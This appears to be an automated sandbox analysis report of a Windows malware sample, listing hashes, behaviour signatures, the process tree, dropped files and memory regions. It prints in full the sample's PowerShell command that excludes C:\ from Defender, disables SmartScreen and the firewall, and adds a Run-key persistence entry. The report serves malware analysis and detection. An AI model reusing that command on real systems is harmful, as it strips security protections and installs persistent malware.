Analysis

  • max time kernel
    300s
  • max time network
    187s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    11-08-2022 22:15

General

  • Target

    8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe

  • Size

    3.8MB

  • MD5

    debb7adbe78865c8950deb98364378f6

  • SHA1

    f705f91f018d64d135193115044f8e838c34f869

  • SHA256

    8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154

  • SHA512

    719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
    "C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Drops startup file
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
      2⤵
      • Modifies security service
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\ProgramData\UpSys.exe
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
        • C:\ProgramData\UpSys.exe
          "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:432
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1056
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              6⤵
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1620
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        3⤵
        • Modifies Windows Firewall
        PID:976
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220812001606.log C:\Windows\Logs\CBS\CbsPersist_20220812001606.cab
    1⤵
    • Drops file in Windows directory
    PID:816

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\UpSys.exe

    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe

    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe

    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe

    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • \ProgramData\MicrosoftNetwork\System.exe

    Filesize

    3.8MB

    MD5

    debb7adbe78865c8950deb98364378f6

    SHA1

    f705f91f018d64d135193115044f8e838c34f869

    SHA256

    8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154

    SHA512

    719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde

  • \ProgramData\UpSys.exe

    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • memory/976-70-0x0000000000000000-mapping.dmp

  • memory/1192-67-0x0000000000000000-mapping.dmp

  • memory/1620-82-0x0000000001FA4000-0x0000000001FA7000-memory.dmp

    Filesize

    12KB

  • memory/1620-78-0x0000000000000000-mapping.dmp

  • memory/1620-87-0x0000000001FA4000-0x0000000001FA7000-memory.dmp

    Filesize

    12KB

  • memory/1620-84-0x0000000001FAB000-0x0000000001FCA000-memory.dmp

    Filesize

    124KB

  • memory/1620-83-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

    Filesize

    3.0MB

  • memory/1620-81-0x000007FEF2A70000-0x000007FEF35CD000-memory.dmp

    Filesize

    11.4MB

  • memory/1620-80-0x000007FEF3690000-0x000007FEF40B3000-memory.dmp

    Filesize

    10.1MB

  • memory/1648-54-0x000000013F630000-0x000000013FFA2000-memory.dmp

    Filesize

    9.4MB

  • memory/1648-56-0x0000000076DE0000-0x0000000076F89000-memory.dmp

    Filesize

    1.7MB

  • memory/1648-55-0x000000013F630000-0x000000013FFA2000-memory.dmp

    Filesize

    9.4MB

  • memory/1648-57-0x000007FEFB631000-0x000007FEFB633000-memory.dmp

    Filesize

    8KB

  • memory/1648-63-0x00000000021B0000-0x00000000021C0000-memory.dmp

    Filesize

    64KB

  • memory/1648-85-0x000000013F630000-0x000000013FFA2000-memory.dmp

    Filesize

    9.4MB

  • memory/1648-86-0x0000000076DE0000-0x0000000076F89000-memory.dmp

    Filesize

    1.7MB

  • memory/1772-72-0x00000000026A4000-0x00000000026A7000-memory.dmp

    Filesize

    12KB

  • memory/1772-73-0x00000000026AB000-0x00000000026CA000-memory.dmp

    Filesize

    124KB

  • memory/1772-62-0x000007FEF3010000-0x000007FEF3B6D000-memory.dmp

    Filesize

    11.4MB

  • memory/1772-58-0x0000000000000000-mapping.dmp

  • memory/1772-60-0x000007FEF3B70000-0x000007FEF4593000-memory.dmp

    Filesize

    10.1MB

  • memory/1772-64-0x00000000026A4000-0x00000000026A7000-memory.dmp

    Filesize

    12KB